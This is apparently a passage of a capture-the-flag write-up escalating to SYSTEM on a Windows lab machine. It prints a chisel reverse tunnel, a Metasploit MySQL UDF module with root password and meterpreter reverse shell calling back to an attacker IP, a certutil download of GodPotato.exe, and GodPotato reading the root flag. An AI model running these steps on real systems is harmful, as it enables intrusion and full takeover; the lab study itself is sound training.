| # Command Executed |
|--|
| <pre>cd C:\\Windows\\System32\\spool\\drivers\\color</pre> |
| chisel.exe client 10.10.14.88:1080 R:3306:127.0.0.1:3306 |

Screenshot Evidence

C:\Windows\System32\spool\drivers\color>chisel.exe client 10.10.1 chisel.exe client 10.10.14.88:1080 R:3306:127.0.0.1:3306 2024/02/24 21:08:52 client: Connecting to ws://10.10.14.88:1080 2024/02/24 21:08:53 client: Connected (Latency 81.9473ms)

[Office] 0:openvpn 1:msf* 2:sudo- 3:nc

I created a non-existing plugin directory that gets loaded by MySQL where a payload created by the Metasploit module can be loaded



I used a Metasploit Module to elevate my privileges defining the location of my payload that should be loaded

| # Metasplot Commands |
|--|
| <pre>use multi/mysql/mysql_udf_payload</pre> |
| set SRVPORT 9000 |
| set SRVHOST 0.0.0.0 |
| set RHOSTS 127.0.0.1 |
| set RPORT 3306 |
| <pre>set URIPATH C:\xampp\mysql\lib\plugin</pre> |
| set USERNAME root |
| <pre>set PASSWORD H0l0grams4reTakIng0Ver754!</pre> |
| <pre>set payload windows/x64/meterpreter/reverse_tcp</pre> |
| set LPORT 1334 |
| set LHOST 10.10.14.88 |
| run -j |

Screenshot Evidence

| Active sessions | | | | | | | | |
|-----------------|------|---|---|--|--|--|--|--|
| Id | Name | Туре | Information | Connection | | | | |
| 5 7 8 | | meterpreter x64/windows meterpreter x64/windows meterpreter x64/windows | OFFICE\tstark ଭ DC OFFICE\ppotts ଭ DC OFFICE\web_account ଭ DC | $\begin{array}{cccccccccccccccccccccccccccccccccccc$ | | | | |

I then verified I have the desired privileges **Screenshot Evidence**

| C:\xampp\mysql\data>whoami /p whoami /priv | riv | | | | | | |
|---|--|---|--|--|--|--|--|
| PRIVILEGES INFORMATION | | | | | | | |
| Privilege Name | Description | State | | | | | |
| SeMachineAccountPrivilege SeChangeNotifyPrivilege <u>SeImpersonatePrivilege</u> SeCreateGlobalPrivilege SeIncreaseWorkingSetPrivilege | Add workstations to domain Bypass traverse checking Impersonate a client after authentication Create global objects Increase a process working set | Disabled Enabled Enabled Enabled Disabled | | | | | |

I used GodPotato to elevate my privileges **RESOURCE**: <u>https://github.com/BeichenDream/GodPotato</u>

Upload GodPotato.exe to target
cd C:\Temp
certutil -urlcache -f http://10.10.14.88/GodPotato.exe GodPotato.exe

Screenshot Evidence

C:\Temp>certutil -urlcache -f http://10.10.14.88/GodPotato.exe GodPotato.exe certutil -urlcache -f http://10.10.14.88/GodPotato.exe GodPotato.exe **** Online **** CertUtil: -URLCache command completed successfully.

I then used GodMode to read the root flag

Target Machine Command Executed
cd C:\Temp
GodPotato.exe -cmd "cmd /c type C:\\Users\\Administrator\\Desktop\\root.txt"

C:\Temp>GodPotato.exe -cmd "cmd /c type C:\\Users\\Administrator\\Desktop\\root.txt" GodPotato.exe -cmd "cmd /c type C:\\Users\\Administrator\\Desktop\\root.txt" [*] CombaseModule: 0×140709923454976 [*] DispatchTable: 0×140709926041928 [*] UseProtseqFunction: 0×140709925337312 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\77efc5af-5465-4406-bf32-ba7ac83703c7\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 0000000-0000-0000-c000-00000000046 [*] DCOM obj IPID: 00004802-09b8-ffff-4bf6-78916483fded [*] DCOM obj OXID: 0×40a603ebc7b7a910 [*] DCOM obj OID: 0×9e752e74ee549eb8 [*] DCOM obj Flags: 0×281 [*] DCOM obj PublicRefs: 0×0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 920 Token:0×768 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0×80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 1356

913443d386453fa28c25956cbf330ce9